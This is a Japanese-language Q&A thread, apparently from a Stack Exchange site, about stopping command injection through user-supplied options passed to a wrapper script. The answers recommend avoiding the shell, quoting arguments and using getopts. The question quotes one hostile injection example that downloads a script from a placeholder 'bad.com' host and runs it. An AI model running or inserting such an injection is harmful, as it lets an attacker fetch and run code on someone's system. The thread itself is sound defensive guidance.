コマンドオプションを使用してコマンドインジェクションを防ぐ方法


13

シミュレーターに渡すカスタムオプションをユーザーが指定できるようにする必要があるラッパーアプリケーションがあります。ただし、ユーザーがユーザーオプションを使用して他のコマンドを挿入しないようにします。これを達成する最良の方法は何ですか?

例えば。

  • ユーザーが提供するもの: -a -b
  • アプリケーションの実行: mysim --preset_opt -a -b

しかし、私はこれが起こることを望まない:

  • ユーザーが提供するもの: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • アプリケーションの実行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

現在、ユーザーが提供したすべてのオプションを単一引用符で囲み、ユーザーが提供した単一引用符'を取り除くだけで、最後の例のコマンドが無害になることができると考えています:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

注:mysimコマンドは、docker / lxcコンテナー内のシェルスクリプトの一部として実行されます。Ubuntuを実行しています。


evalアプリケーションの実行に使用していますか?そうでない場合、注入は発生しませんx="&& echo Doomed" ; echo $x
。– choroba

1
いいえ、使用していませんevalmysimシェルスクリプト内で実行可能ファイルを呼び出しています。ユーザーが提供するオプションの文字列を単にコピーし、mysimコマンドの最後に貼り付けると、インジェクションが発生します。
ビクターリュボスラフスキー

ラッパーアプリケーションはオプションの文字列をコピーして貼り付けますか?
choroba

はい、ユーザーオプションはのような単一の文字列として入力されます-a -b。そのため、追加のコマンドがその文字列に挿入されないようにします。
ビクターリュボスラフスキー

1
ホワイトリストに登録できますか?キャラクターのみを許可すること[a-zA-Z0-9 _-]は、かなり防御的な選択のように見えます。
ウルリッヒ・シュワルツ

回答:


6

ラッパープログラムを制御できる場合は、サブシェルを呼び出さないことを確認してください。深く、プログラムを実行する命令は、実行可能ファイルへの絶対パス(絶対パスまたは現在のディレクトリからの相対パス)と、引数として渡す文字列のリストで構成されます。PATHルックアップ、引数を分離する空白、引用符、および制御演算子はすべてシェルによって提供されます。シェルなし、痛みなし。

たとえば、Perlラッパーでは、リスト形式のexecまたはを使用しますsystem。多くの言語では、、またはwith 、またはそれが取るものではなく、execor execXXX関数のいずれunix.execか(またはそれが呼び出すもの)を呼び出します。systemos.spawnshell=False

ラッパーがシェルスクリプトの場合、"$@"引数を渡すために使用します。たとえば

#!/bin/sh
mysim -preset-opt "$@"

選択の余地がなく、ラッパープログラムがシェルを呼び出す場合は、シェルに渡す前に引数を引用符で囲む必要があります。引数を引用する簡単な方法は、次を実行することです。

  1. 各引数で、'(単一引用符)の各出現箇所を4文字の文字列で置き換えます'\''。(例えばにdon'tなりますdon'\''t
  2. 追加'各引数の最後でも、各引数の先頭にと。(例えば、からdon'tdon'\''tなります'don'\''t'
  3. 結果をスペースで連結します。

シェルラッパーでこれを行う必要がある場合は、次の方法があります。

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(残念ながら、${VAR//PATTERN/REPLACEMENT}ここで便利になるはずのbashの構成体は、風変わりな引用を必要としますが'\''、置換テキストとして入手できるとは思いません。)


1

Bashの${VAR//PATTERN/REPLACEMENT}イディオムを使用'して'\''、最初に置くことで単一引用符を変換できます。'\''変数に入力し(中間ステップとして)、次にこの変数をREPLACEMENT前述のBashイディオムの要素として展開する。

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

を使用getoptsbashて、引数を解析できます。例:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.